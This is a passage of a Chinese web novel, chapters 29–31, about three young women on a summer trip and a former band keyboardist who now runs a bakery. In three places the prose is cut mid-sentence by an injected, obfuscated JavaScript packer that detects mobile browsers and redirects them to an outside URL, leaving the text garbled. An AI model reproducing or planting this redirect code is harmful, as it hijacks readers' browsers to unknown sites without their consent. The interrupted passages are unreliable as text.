三人呆了四五天,把城市里的旅游景点逛得差不多了。 又到了报本科批志愿的时候。 这会儿,她们在酒店讨论该报什么专业。昭岁倾向是建筑类,映年客观地讲了一下就业情况,昭岁还真踌躇住了,思量下来,决定去冲一下人工智能。 “你要不要给妈妈打个电话?”映年问。 “好。”昭岁这次没反驳。 昭岁电话过去,齐美裳在工作。到晚上才回,说她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098065|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么不直接发消息。昭岁难得坦率:“我想告诉你的,不能当面,至少也是电话。” “怕我登你号改?”齐美裳问。 被戳破的昭岁有点脸红。 昭岁说:“没有。” 齐美裳连名带姓叫了一声“齐昭岁”,她稍有叹惋:“你看你五姨,出去了,就没见过几次面了。” “……我回来,也有私心的。” “什么?” “没什么。” 昭岁只觉得齐美裳黔驴技穷,找了个烂借口。 可她继续说,再次提醒:“不要偷偷登我的号。” 齐美裳反问:“我们就这么没信任感?” 昭岁沉默。 小时候,她也想敞明了去问齐美裳“为什么选她”。那时是害怕答案,无论得到怎样的答案,都会让昭岁难堪,宣判她是得寸进尺的人。长大后她不这样了,再剐齐美裳一刀,做出这决定,齐美裳一定是最难过。 她是最没有立场责怪的那个! 似乎谁也没从这场分离中好过。 地铁路线七月推出了集章的纪念活动。 昭岁和咚咚本来就带的有本,映年没有,她本没想行动,昭岁在文具店给她新买了一个,堵住了她的嘴。 每个站点一个城市旅游景点。昭岁有点惋惜,没有边逛边玩,还是很满意地铁的印章品质。 中转路上,黄柠檬来分享了填报的截图,还真是依诺要去指定的城市。昭岁暗自查了一下那个学校的分数,黄柠檬配上不算太亏,她松一口气。 老师要求志愿填报锁死前,不要在社交媒体公开发表,可群里还是热火朝天在讨论以后去了外面,要互相照顾。 照顾什么呢?无非是老乡聚会,要不就是来回家乡拼车之类。 昭岁申请加入北方的校友群,很快通过了。里面人多,聊得很热烈,约着要早点去报道,到时候能带父母参观一下。这样样计划好了,实际连志愿通道都没关呢,更别说能不能录取。 志愿的填报能的几十个栏,映年帮着研究,昭岁填得满满当当的,大部分在北方,有些靠近海边,只有到最末尾的几个志愿填了鹊市。 如果这么多的机会都滑过,她就不挣扎了。 有个灰色头像的人一直在聊,突然昭岁收到一条新消息,就是他。 0912/赵/二中/物化地/不吃羊肉/指甲很长:在吗? 昭岁没理。 她去翻了一下赵的朋友圈,三天可见没有内容,退回来,又去翻好友列表。微信的列表有这么些一面之缘的人,昭岁从前总担心分不清,后头找到了诀窍。 这某天遇见的,就用日期作为备注的抬头,后面加点这人的信息,谨防认错。同一天的局,人传人总归是认识的,要不认识某人,按照数字编号找个稍微熟点的人打听,就能清楚。 要是某天生日的,都到了记住生日的节点,关系也还行了,就不必放在上面那一行了。可以写成黄柠檬0912,当然,不能被发现,不然就会被黄柠檬强制删掉后面的那串。 她把赵的截图发给黄柠檬。 昭岁:这人谁? 黄柠檬:赵/二中/物化地/不吃羊肉/指甲很长。 昭岁:…… 昭岁:你过生摇的人,你不认识? 黄柠檬:我去打听一下。 五分钟后。 黄柠檬:你把他删了吧。 昭岁:不好吧,我一般不删人的。 昭岁:他谁啊? 黄柠檬:琴琴谈的对象。 昭岁:…… 黄柠檬:删吗? 从对话框退出来,昭岁把赵删掉了。 昭岁有点心烦,无所事事的编辑起朋友圈,把部分章拍照发上面 。 她推了推旁边的人:“给我点赞。” 咚咚依言打开手机,映年没动。 “给我点赞。”昭岁说。 “你不是我把屏蔽了吗?”映年说。 “不会吧,”昭岁惊道,她记得旅游时候就把映年拉出来了,稳住心神,倒打一耙,“是不是你没看我?” “噢,这样。”映年没诈出来,点开朋友圈,刷了几条,真看见昭岁了,“那你也给我点赞。” 咚咚对这新奇:“映年姐也在意点赞吗?” 映年没否认:“当然。” 咚咚说:“我还以为你是超凡脱俗的呢。” 映年说:“也没有。” 朋友圈这事昭岁占理,她去清算映年:“以前我给你发好友申请,你怎么不同意?” “不是我加的你吗?” “对……等下,不是,你别提问我。”昭岁认为自己有必要防范和映年的对话陷阱,“是我先加的你,你没同意。” “什么时候?” “十年前吧?” “那你没证据啊。”映年张口就来。 昭岁瞪大眼睛,没想到映年也有幽默细胞。 映年笑,说:“那会儿放到过期了。” “为什么不同意?” “你说为什么呢?” 又一个反问。这反问让昭岁沉默。 添加的节点太巧了。 离婚后不只是家庭迁移,还恰逢□□好友的迁移,大家都在□□看空间里发了条微信的二维码。其实普遍联系的还是那些人,别的人就是换了种方式在列表里,偶尔滑到点赞,无事绝不私聊。 昭岁在转微信账号时,等到了映年在空间发的二维码,她扫码去加,一直没有同意。 为什么呢?昭岁在十年前就有答案了。 为什么偏要当着映年问出来。 彼此都没说话了。 地铁车厢门再次打开,突然肩膀上有重量,昭岁偏头,映年顺势轻搂着她,错开了新登上的乘客,很快放开。 她听见映年说:“请你原谅我,我那会儿暂时没法接受。” 30.第 30 章 邮局主题店里,货架上是琳琅满目的明信片。 昭岁站在前面,挑挑拣拣了好多张,就连咚咚也挑了不少,映年只拿了三张。 价格还是有点贵,昭岁又舍不出来,让她们帮忙参考一下,留哪几张。 “就要这个吧,风景好看。”映年说。 “可是建筑很少见的。”昭岁说。 “那就要这几个建筑吧,设计比较好。”咚咚说。 “但是这种风景很难得的。”昭岁说。 咚咚和映年默契对视一眼,着手自己手里的事情了。昭岁还缠着要参考,被白眼劝回去了。 邮局明信片自然是要寄出的。 昭岁出发前就锣鼓喧天的,说好了要给姐妹们寄,当下洋洋洒洒写下来,一整张都能填满。 咚咚写的寄给计划一起开店的伙伴,也是多年好友,字远不及昭岁那么撑。还有几份,分了五个阶段,寄给未来的自己,地址填的不是鹊市,是别的省市。 “你开分店的距离有点远啊。”昭岁调侃。 “加盟店视察,不行吗?”咚咚说。 “商业地图拓展板块好大。”昭岁说。 “咚咚打算开店?卖什么?”映年还不太清楚咚咚的就业目标,“开糖水店吗?” “不知道,不知道做啥了。”没拿下想要的铺面,咚咚是有些泄气了,“我学历也不够。” 映年笔尖一顿,笑:“学历够的也不行啊,这有什么。” 三人没再讲话。 映年的明信片,想来想去,想填写的是大学室友和大脸猫。一号床在房地产公司,二三号床都在北方读研,在外租了个房子合租。这走得最近的三个人,映年也就只知道她们的单位。大脸猫的地址倒是知道,感觉话好干瘪,平时交流问的也是要不要出来玩滑板,写了两行就不知些什么了。 不过映年还是没还回去明信片,投递的时候放了进去。 咚咚没注意她,好奇:“你写给谁的?” 映年说:“朋友啊。” 实际上,一张寄给的是大脸猫,一张寄给的五角星老师,还有两张张给的辅导员。 辅导员一张内容是“你真的很烦!”,署名:被你骚扰电话烦死的同学。寄出时间定在三年后。另一张内容则是“老师教师节快乐!”署名:映年。寄出时间算在九月份。 她被自己割裂的讨好整笑了。 昭岁倒是大大方方展示了,最后放的两张是寄给未来的,她们都以为是寄给自己,没想到昭岁展示书写面,竟然是要寄给映年和咚咚的。 给咚咚的是:大老板,要不要考虑聘用我?我绝对白吃白喝白得工资,完全没有必要有负担,真真实实地想蹭你。最后,祝你生意兴隆。 给映年的是:姐姐,你一定有所成就了吧!你一直很优秀,不管做什么都能拿到好名次。如果这是你喜欢的,那祝福你,如果不是你热爱的,也不必太为难自己。 咚咚佯装一把鼻涕一把泪的抹脸:“我要是亏空了,肯定要找你给我打白工。” 映年眸光微动,话却道:“只有干得好不好,没有喜不喜欢。” _ 桂花糕:能借我一点钱吗? 昭岁:你要多少? 桂花糕:五千。 昭岁盯着这数字。 昭岁:你干什么?没住院? 桂花糕:创业开店,装修要钱。 昭岁:五姨难道没钱? 桂花糕没回复了。 她思量了一下,没告诉齐美裳,放下手机和咚咚讲起。 之前咚咚也有被借钱的经历,她问:“你借了吗?” “没有,你呢?” “我还要开店呢,让他借给我。” “他借了吗?” “借了,过几天找我借钱的时候,我还给他了。” “我要不要借给他?以前在大姥姥家,他还是挺照顾我的。” “呆啊你,”咚咚对此完全不认可,话里是批评也是表扬,“你这人就是有个毛病,记别人的好,记自己的错,哪有这样的。” “不借就是了。”昭岁说。 咚咚终于发现了重点:“不对,你不是月光光吗?哪来的五千?” 昭岁:“……我就不能存点钱?上次我爸给我的钱都没花掉。” “你就没存钱的能力。”咚咚说。 昭岁:“……” 五千块钱对于沈烟来说不是大数字,但白给昭岁,她收着心刺挠挠的。 昭岁叉着烧烤,又要出发了,咚咚提议还是来尝尝特色的田鼠。她倒是不怕这种生物,爬宠一类接触也没负担,可要吃,心理这关没过,她扒拉着肉,难以下咽啊。 咚咚是来者不拒,一口一个猪眼睛,吃得津津有味。对着镜头介绍口感,很自在。她食欲好,咀嚼起来轻松,却看得昭岁面部狰狞。 挂了电话,映年坐回桌上。相比之下,她面前的烤豆腐就清新许多。 “不想吃就别吃。”映年把茶水补上,“我晚上有点事,你们自己玩。” “那多浪费啊……”昭岁拿着烤串,举着稍微舔了一下,味道还好。 “不是,你真是,搞得我都没胃口了。”咚咚无语昭岁。 “现在谈浪费晚了,不想吃别吃。”映年说。 昭岁问:“你不喜欢虫,为什么上山呢?” “这是有阶梯性的。”映年对这问题没负担,“如果登山是必经之路,那不拖后腿绝对排在怕虫之上。” 昭岁感觉映年的确厉害。 她莫名其妙有点激励,感觉自己也行。于是咬了一口田鼠,又似下定决心般问道:“什么事啊?” “沈以歌不是做乐队的吗?之前乐队键盘手,在这边开了一个面包店,让我去坐坐。”既然问,映年也没隐瞒的心思,“你们要想去,也跟着一块去。” “我想去。”咚咚举手,找了个恰好的理由,“看看怎么创业起来的,我学学。” 两人目光转向昭岁。她一口咬下田鼠,没预料中那么难吃,期待值拉得太久,反而乏味了。 她酸溜溜地说:“打麻将不也能创业吗?这么大茶馆,你不学学。” 咚咚问:“那你去不去?” 昭岁说:“不去!” 这顿饭还是没吃完,确切的说是昭岁的那份没吃完。昭岁觉得可惜要打包,映年是认为打包回去估计也不会吃,但也拦她。 饭后,咚咚和映年离席,昭岁坐了会儿,打道回府。 这还是昭岁第一次脱团行动。刚上公交车,她觉得这样会去太丢面子了,好像没了人陪,就不能自主活动一样。 她想要不去看场电影吧,乌漆嘛黑的一个人看也不需要讨论,翻了一下电影场次,没什么喜欢的。要不去逛逛街,正好买点特产,给家里寄回去,可出发前齐美裳就叮嘱过啥都别买,什么都能买到。为什么祁孝逑还要找映年买油桂? …… 外面太热了,她不太想动了。 昭岁还是走回酒店。 到门口,去包里掏卡,才意识到不对劲啊。昭岁没带卡的,平时都放在咚咚那,忘给她了。咚咚是不是故意的!她想着,觉得也不至于。 不过她是不想给咚咚打电话,免得对方说让她过去一块玩。她不想去,五千块钱的别扭还没过呢。刚抛下的想法,又开始在心头预演了。 打开牛角包,又翻找了一遍,确实没卡。 从山里带走的三色树叶,渐渐干瘪掉了,她放在牛角挎包的隔层里,是不是拿出来摸摸,今天到一个角已经焦边了。 要不找家画室之类的店,试试能不能叶拓吧?打开地图搜索,恰好有家植物手工店。距离三十公里,不远不近。 她有一人行的计划了。 _ 面包车停在公交车站口。 映年和仙儿打招呼,她打开后座想一块上去,没想到后面的三座位都撤下来了,叠满箱子,就剩个二座的位置。 “我想着你可能带朋友来,临时装了的位置。”仙儿为啥就来还有一个人没来。 映年让咚咚上了后面,自己坐在前面。 一年没见,仙儿的爆炸头没了,剪了个水木头,额前搭上了流海,连耳朵也糊住了,不过后面的头发用鞭子盘起了起来。估计还是嫌热。 “齐冬,我表妹,比我小两岁。”映年把路上咚咚让提前买点小花束递给仙儿,“仙儿姐,临江仙咖啡的老板,以前‘可以歌’的键盘手。” “噢,好久没听到这么叫仙儿,挺悦耳的。”仙儿把花束放在驾驶门上,伸手搭在肩上,要握手,“我本名曾不凡,你跟着映年叫仙儿姐就行。” “那你叫咚咚就行,就是拟声词的咚咚。”咚咚握了握仙儿的手,有柔软的结实感,看着却修长,想到键盘手的身份去做了面包师,不禁惋惜,“我听过你们的歌。” 仙儿扭头看映年一眼,对方在和对视。 谁给听的?当然是昭岁。 车停在面包店,规模不大不小,有三个员工。仙儿指挥着人卸货,带着两人进了前厅,叫了两杯咖啡和甜品,又转进后厨去了。 映年没想好为什么一定要来。 可能是仙儿打过来几通电话?真不想来,哪能叫得动她。可能是发现回程路上要去螺市的提前报复?真没心思,就是算是报复绝对不会这么拐弯抹角。可能是寄出明信片时发现旧友寥寥无几?不想因此耽误以歌的友情。噢,她有什么能耐,这么以为。映年一个一个的假设否定,觉得去讨论这事太没必要了。 她想做什么就做什么,不要管什么理由。 面包和咖啡上来,店员介绍是新品巴斯克蛋糕和抹茶拿铁。才吃完饭,映年擓了两勺子就没动,咚咚觉得好吃,端着盘子在吃。 过了会儿,仙儿出来了,她先走到门口把停止营业的招牌摆上,再坐回来了。 话题从甜品开始,再聊城市的景观,仙儿责备映年没早点答应下来,让她陪着当导游更方便。咚咚接话是怕不自在,说着用公共交通玩一样,大城市四通八达都很发达。映年话没那么多,咚咚这一口子打开,仙儿就同咚咚多话起来,正好咚咚有意询问创业开店的事情,两人聊得更多了。 映年在一旁听着,感觉创业也是个门路,到开业资金时,她又缩回去了。太贵了,哪怕回报很高。 在咚咚的要求下,仙儿带着她去参观了一下后厨,讲解厨房设计的设计安排,订货标准和备餐动线。这时候已经快到打烊的时间点了,都在收拾清洁,看上去很整齐。 映年也在听着,去想仙儿筚路蓝缕的时候,那会正是“可以歌”乐队纷争的开端。 去年春天,以歌当时生气租场地的人没管理好,让别的乐团在这里面偷偷抽烟,哪怕是演出在即,还是负气和对方大吵一架,去找新的练习地。春寒料峭,乐队有场拼盘过去,以歌又发现了烟头,查案判案才知道是仙儿的。再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105161|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查下去,噢,仙儿在创业呢。当以歌质问为什么时,仙儿不满分酬劳一事很久了,觉得以歌多占大部分。 两人在后台干了一架,鼻青脸肿上台合作完,结束后,仙儿当场宣布自己要退出。 映年观看了那次演出,省略掉不太干净的咒骂,仙儿说的是:“车费都不够,倒贴钱唱唱唱,我坚持不下去了。” 这成了可以歌乐队解散的导火索,不久后就分崩离析了,就剩以歌和吉他手在坚持。 映年表面安慰着以歌,但是不太清楚以歌为什么伤心,也不理解仙儿是什么立场来干架。 她就在想:“凭什么?”凭什么小组作业里,划水的人成绩分数和她一样,为什么要平均分,甚至有些高出她。 理由总分不会对她有威胁,也就卡线及格而已。“也就”“而已”,那还是没解释凭什么能够不劳而获。 后来期末提交时,直接就把划水的人踢出局了。这事,闹得不近人情。她在旁人眼中是计较多事,又被教训成“出社会就懂了”。 映年想为什么? 许多人群体活动,都有集体感和归属感,映年没有。至多能算得上,就是登上领奖的荣誉感,而这种体验是她自己获得的。无关别人。 这次来,映年隐隐有感觉,仙儿是否别有用心,在重新坐下再叙完旧事后,果然开口了。 “我听说‘可以歌’又去录新综艺。” _ 打包的食物存在酒店酒店前台,昭岁坐车到植物手作店。 昭岁没预约,看门人不让进。打开手机去预约,发现要提前一天预约。这也不是什么大型会议,里面还有这么富足的空间能够使用。不过既然来了别人的地盘,就守规矩。 太败兴了。 这一带沿江,先跨过几座桥,就能到蝉市,再轮渡,就能到蝉市。那是齐美玉在的地方。 步道不知道是不是先喷的漆,昭岁沿途走着,总觉得每踩一步,鞋底就被黏了一下。 于是她干脆倒着走,低着头去观察鞋子。 这会儿正是傍晚,来江边散步的人挺多。 昭岁走着,想起来,不是喷漆的原因,是太阳晒得路面软化,和鞋子发生反映了吧?啊,才考试多久,这都忘了。也不一定,有可能是大地舍不得我走吧。她想着,自己也笑了。 出门的时候她就带了两双鞋。一双现在脚下穿的运动鞋,还有双是皮鞋。运动鞋当然是为了走路好看,皮鞋是想着能够拍照用的,选衣服的时候特意搭配了两条漂亮的裙子。还没机会穿,当着咚咚还好,在映年的面前,她觉得拿出来还有点不好意思了。 有打遮阳伞的情侣路过,她就停下来,让她们先过去。昭岁不是没带伞,是牛角包装不下,她干脆没带。不,也不是,她就是没想带。 其实她想学着映年,干脆把带包的习惯也戒了,可包里纸巾呀手机呀水杯呀卡呀笔呀,没带在身上,好像少了点什么。于是她看到咚咚带着包,便觉得没问题。 转头又想,咚咚装的多是相机设备吧,可没她这么多杂物。可昭岁好难切割啊…… 把这比作“肿瘤”有点罪大恶极了,可多少算个挤不掉的“痘痘”,想挤掉,冒出一堆分泌物感觉很爽,可第二天醒来又悄悄膨大了。 牛角包就是她出发前买的。从前的那个包更大,是刚上高中后不久买的,是个水桶的款式,出去聚餐就会背她。容量更大,有时候昭岁为了版型撑住,还会在包里塞点别的东西,尽管那次出门不会用到。 好像买牛角包的心理建设就很简单了。一是犒劳自己,二是给自己“减负”。消费完,又立马觉得不对劲,好像不该买多余的东西,水桶包的功能完全能覆盖住牛角包。 无论如何,牛角包是买到了。立下的决心是,以后绝对不买包了。可是看到姐妹群消息里发的牛皮包,不免还是心动啊。 总得有个过渡的时期是吧?不买还不让幻想了?大不了下次不买包了,直接一步到位不带包出门。 比起这,购物车的漂亮裙子才是她难下手的。商家图搞得让人这么心驰神往,真穿身上了,又觉得配不上这裙子。哪有这样的道理,她花钱买下了这裙子,那她就配得到。 那穿上身有什么问题? 一定要添加这么多前设,来为难自己吗? 现在这么想,热血得很,真到打开购物车付款的那时候,可能连收货试穿的魄力都没有。 昭岁走着,到了一处台阶旁。 在考虑要不要下去,下去之后能不能在另外的地方找台阶上来,她不想原路返回。 哎,真烦,连散个步都要这么战战兢兢的。 她跨步下去。 这一带的步道下面是距离江边还有一丛芦苇,望下去,江面开阔平静,温度比上面稍稍凉爽不少。对面是城市的天际线,天黑后大厦亮起了广告灯牌,夺人目光,看上很耀眼。昭岁想,映年应该就是呆在里面的,精英范儿十足吧。 她继续走着。 前面有人围着,她以为是路边摆摊一类,走近,顺着目光看向江边。 上面漂浮着一个女人。 她穿着一套热带风格的比基尼,成仰卧的姿态,整张脸朝着天,江水淹没了到半个脸颊,如果不是双脚轻轻地摆动,右手还拿着游泳圈,可能惹人误会。 昭岁认得,她们在山里遇见过。 黄栀子。 真厉害啊,黄栀子。真漂亮啊,黄栀子。昭岁想。 31.第 31 章 仙儿最开始没打算加入“可以歌”乐队。 大学刚毕业那会儿,碰上还在高中的以歌来问她:“听说你很厉害,要不要一块玩乐队。”仙儿找工作呢,谁跟小孩一块玩。她压根没理以歌。 过了阵,以歌真组上了主唱的真珂,又拉了个贝斯,又来问仙儿要不要来。 仙儿问:“高中好好读,考上大学在玩呗。” 以歌说:“现在玩也不耽误读书,请假就行了。” 仙儿没想到这人这样,觉得有点意思,但钱还是问题:“那发工资吗?” 以歌抱着胸看她:“那你得面试。” 真就像模像样的搞了个练习室让仙儿面试,面前的面试官就是俩小孩。弹了几个曲子,仙儿问行不行,以歌说让等通知。 仙儿生气说:“你驴我呢?” 以歌说:“你天天搁这进写字楼,面试完都要这么问吗?” 仙儿气笑了,摔门离开。 这事过了就过了,仙儿没等到以歌的通知,就业在一家琴行,负责教学幼儿。 小孩家长想杀价,仙儿哪有权利,没肯,这没杀下来让人给惦记上了。琴房总丢东西,最开始就是谱子之类的,就让学生们不要带回家,过了阵,仙儿的保温杯丢了,她还以为是学生认错,课上让别喝错杯子。后头离谱起来,是老板的唱片不见了,虚惊一场,在管理室找到了。 可能这东西太贵,肇事者承担不了,搞半天还是从自己身上下手,说是弹琴的时候把手掰骨折了。仙儿是天神神力啊,这轻轻一拨,地动山摇,能把学生手给弄折? 家长上门闹一伙,就是带着孩子去检查,最多就是爱吃指甲,啃得倒刺一条条的,撕拉了皮太痛,说是手折了。 幼儿生意做的就是口碑,家长群消息灵通着呢。好在老板算是见过世面,通情达理,没怪在仙儿身上,劝退了手折的学生。 过了一年,这么有良心的琴行要关门了。老板的亏损还不如店用来出租收钱,就有关门的心思,问员工要不要接下来继续干?仙儿动了心思,就是没钱,后来就被同事盘下来了。 同事变老板,经营理论不一样,闹事的家长又带着小孩杀回来,仙儿少有的美好品质快要被磨干净了。一次带着学生们去参加少年宫的表演比赛,她遇见来同来表演的以歌。 以歌在青少年组,她在给吉他手化妆,技法不成熟,涂得他脸上灰扑扑的。这试水就完了,以歌皱皱眉,就没给自己化了。涂了个口黑,抓了两下头发,光是眼神,也能压住吉他手一头。 仙儿想,哪怕她不来,以歌也不该找这种货色。 以歌来招呼她,话带着挑衅:“真珂和我说,我还不信呢,你真去奶孩子了。” “你留级了啊?”仙儿不甘示弱。 “明年留级,今年照常。”以歌无所谓,“再留几级估计能和你学生一届。” 仙儿服了她的厚脸皮,没再说。 演出照常进行,仙儿的组只拿了参与的三等奖,以歌凑的演出摘得青年组的桂冠。 老板就在现场后台发飙,说取消奖金,增加课时,要仙儿去培训培训再上岗。仙儿羞耻感爆棚,什么啊,居然被一个五线谱都不会看的人,训斥音律学得不达标。更重要的是,以歌她们还没走。 三等奖还有连锁反应,家长又开始折腾人了,问仙儿能不能□□,说是孩子暑假小升初学业重,大课练习耽误时间。上门费另算,给仙儿的不少,她还是去。 上门练琴,学生想玩,插科打诨地说就放放录音,忽悠忽悠家长得了。仙儿不许,还是认真上课,学生直接明着和她干。正是玩闹的年纪,从窗户翻出去,到外头玩。 仙儿翻窗追出去,跟着一块,发现学生被一堆高中生围堵了。她起了坏心,不想管,要不干脆让人教训一顿,解解气。没想到以歌翻墙过来,一脚踢飞了一个人,然后是真珂过来,没加入,躲在仙儿背后在看。 “你们不上课吗?”仙儿问。 “我不上,她……”真珂说话细声细气的,很是腼腆。 “不用劝我,我不会加入的。”仙儿说。 以歌解决完,走过来,用真珂递过来的湿巾擦了擦手,说:“想太多了,单纯路见不平。” 说完,两个人就走离开了。 仙儿拎着学生回去走的正门,家长把仙儿一顿数落,学生却帮着仙儿说话了,没几句,回了房间。学生欣喜,问仙儿是不是和以歌认识。仙儿想教育她树立正确的价值观,不要去学什么逃课打架,但这可不是钢琴老师该教的。仙儿就模棱两可点点头,学生更兴奋了。 后来的教学变得简单轻松了。 真加入“可以歌”没啥重要的契机。 仙儿听学生说,“可以歌”的吉他手备战高考去了,以歌报名的比赛马上开始,缺人,到处找人。仙儿想了一下午,大半夜的受不了了,拨通了以歌的电话。 仙儿想:“就打一通,没接就算了。” 结果真没接。 仙儿又想:“再给你一次机会。” 还是没接。 十多通电话下来,以歌都没接。仙儿觉得丢了面子,没再打了。 再听说,就是“可以歌”缺席比赛。 那天在机构上完课,出来时同事告诉她有人找,是个高中生。仙儿还以为是以歌来了,出门发现是真珂。 这俩人性格差别很大。以歌啥都来,有种天不怕地不怕的玩劲儿。真珂畏畏缩缩的,背总是扛着,扎个小马尾,走路都没活力。 她找仙儿,是为了邀请。 仙儿问:“以歌呢?” 真珂的头更低了:“住院了。” 哪是住院这么简单。真珂被不小心锁在了画室,以歌爬到二楼把敲破,晚上也没出来,就着画室的铁桶当容器,点着一幅一幅烧了取暖。天亮撤退时,真珂不敢爬墙,以歌带着她,垫着下去摔断了腿。 仙儿又问:“管钱不?” 真珂踌躇了一下,说:“可以,我私下给你,你别告诉以歌。” 仙儿默了片刻,手搭在真珂肩膀上,道:“不用了,不耽误我上班就行。” 入队后,仙儿才知道以歌是为了真珂,这事还闹得大,以歌就这样休学了。乐队里,真珂和以歌是同龄,贝斯手是大学生,就仙儿年纪最大。她好像自觉当起了“姐姐”的职位,对三个小朋友很是照顾,包括但不限于劝以歌继续读书。两人因此吵过几次架,以歌还是去读了,高中念毕业了,大学到一半又停了。 组建后第一场演出,要往上报队名和选手。 以歌问她要不要加她的名字,仙儿拒绝了,她觉得“可以歌”就行。那会儿没什么归属感,总觉得是陪着小孩玩,当是放松。 以歌又问她叫什么名字。仙儿就说曾不凡。以歌说不要用真名,要艺名,酷一点的。仙儿反怼你去个姓也不见得多酷。名单报上去,吉他手后面写的不是曾不凡,是仙儿。她去问以歌怎么回事。 以歌说:“手抖打错字了。” 仙儿无语。 不管是不是手抖,曾不凡变成仙儿这事,板上钉钉了。 乐队七年,一直处于比较底层的位置。演出少,亏钱多,吵架少,联系多。 前年贝斯手结婚了,排练变少。去年一算年龄,哎呀,仙儿快三十了。 干了七年,没盼头啊…… 心头慌张,又有机会,想要去开面包店。 仙儿就没断过烟,但也不提多大瘾,偶尔抽,单独抽,写曲儿累了抽一根感觉爽,她不会在排练室抽。 分开的时候,闹得不愉快。 那两年琴行彻底垮了,仙儿没找新的工作,收入来源就乐队演出。年初的时候,收到了房贷的催款信息,她正想筹钱去缴,过了两天,又是社保缴纳的信息。她去问以歌交不交社保,以歌表情疑惑地看着她,恍如两个不同维度的人,社保成了结界。 她知道以歌是真不在乎。 可这眼神,着实伤人。仙儿那一念之间,干脆认下了练习室抽烟的事情。 仙儿是不服,进账多数都放在以歌的口袋里,真珂本就跟着以歌混没什么主见,贝斯手主业挣钱无所谓,她不一样,钱包空空。 她就是世俗得不行。 争执、干架、退团,分道扬镳了。 退乐队的事情,仙儿倒不是没后悔过。 在面包店亏损时的后悔程度最高,还有点怨气,感觉以歌就是有钱瞎玩,真耽误了她做正事。还好她是正经把大学念完了的,这店垮了,还能去琴行混口饭吃。到今年店里稍稍有点起色,又觉得唱歌真没用,打工一辈子都没法这么自由。还是开店好,有面包了,后头再用自己的名字组个乐队也行。 为什么“可以歌”取自鼓手和吉他手的名字啊!还有以歌什么脸,给她赐名字。 真到有点小积蓄的时候,仙儿又想:可能这辈子都组不起像“可以歌”那样合拍的乐队了吧!现在乐队在国外发展了,仙儿的也不可能抛下刚挣钱的面包店不管,去玩乐队了。 “可以歌”被综艺邀请的时候,仙儿私下找过真珂,问以歌筹备的情况,只说缺个贝斯手,吉他手会跟着回来一块录节目。真珂说自己做不了主,让仙儿去找以歌。 仙儿就开始渐渐找以歌了,没明说过能不能重新加入。答案理应是否定。现在“可以歌”的吉他手是新入队的留学生,技术不比仙儿差,以歌怎么都不可能把她踢出局。 仙儿也清楚。清楚和争取是两码事。 万一呢? 她陪着乐队熬了快七年,退了刚一年,噢,就有这么大的活。说是拱手让人牵强,但真的不甘心啊。 尤其是知道新招的吉他手是原来的学生后。 现在坐在面前的是映年,仙儿只求有个中转的,帮她问问,以歌到底是拒绝还是答应。 映年反问她:“是不是打算赞助?” 先前仙儿给咚咚说完的面包店商业发展,大展宏图的模样,市侩气息浓厚,不像选手更像是老板。 仙儿笑笑,没想到映年这么正经的人,也开玩笑,她说:“吉他手,如果需要我的话。” 交谈之际,有人从推开了玻璃门,走进来。 椅子挡住了半身,咚咚正要帮着说“歇业了”,仙儿察觉到,站了起来,伸手压了压,示意不用。 她这一起来,挪动了椅子,映年得以看清来人。 是上次玩见的姜姜。 个子就那么高点,头发乱窜,衣服还穿着的是上次见面的那身,就是裤子沾了点黑灰。 姜姜找了个角落的地方坐下。 仙儿让两人等会,她又进了前台,取了余下的两个面包,端了一杯牛奶出来,放在空桌上。 她没打扰姜姜用餐,重新坐回映年的座位上。 “那孩子?”咚咚问。 “嗯,以前老顾客了。”仙儿说,“去年之后没来,结果是父母分开了,说是去姑姑家住了。” “不收钱吗?”映年匪夷所思。 仙儿笑了,她清楚别人怎么看她:“嗯,记在账上,她妈她爸哪天来了,我问她们要。” “这几天都来?”映年虽是问话,却很笃定。 “是吧……”仙儿说,“前两天我去培训了,店员说来了。” 映年扫她一眼,仙儿心虚。说是来当导游,培训的事情确定定下了的,她客套着,笃定了映年不会承接她的客套。 咚咚轻轻敲着瓷盘,她为这份猜测胆寒:“不是吧?一直没回家。” _ 夜幕降临,江边灯亮。 箱子还用自行车锁在栏杆上。昭岁就在一旁等着,看黄栀子湿漉漉地上岸了。 黄栀子用手甩了甩身上的水珠,打开箱子,取了根毛巾擦了擦身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111175|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,套了一条裙子在身上,拎着箱子就往上走。 昭岁跟在后头。 上去的路已经不是刚才下来的那条了。里面的比基尼毕竟没干,走着走着,衣服摩擦紧贴,从后面看,能看清屁股和胸部处浸湿的痕迹。 四面八方有目光过来。 黄栀子走得昂扬,步伐从容。 到台阶上,黄栀子突然停下来。昭岁以为黄栀子发现自己了,有一刻冲动想背过身,又没有动。昭岁隐含着兴奋,期待黄栀子发现自己。 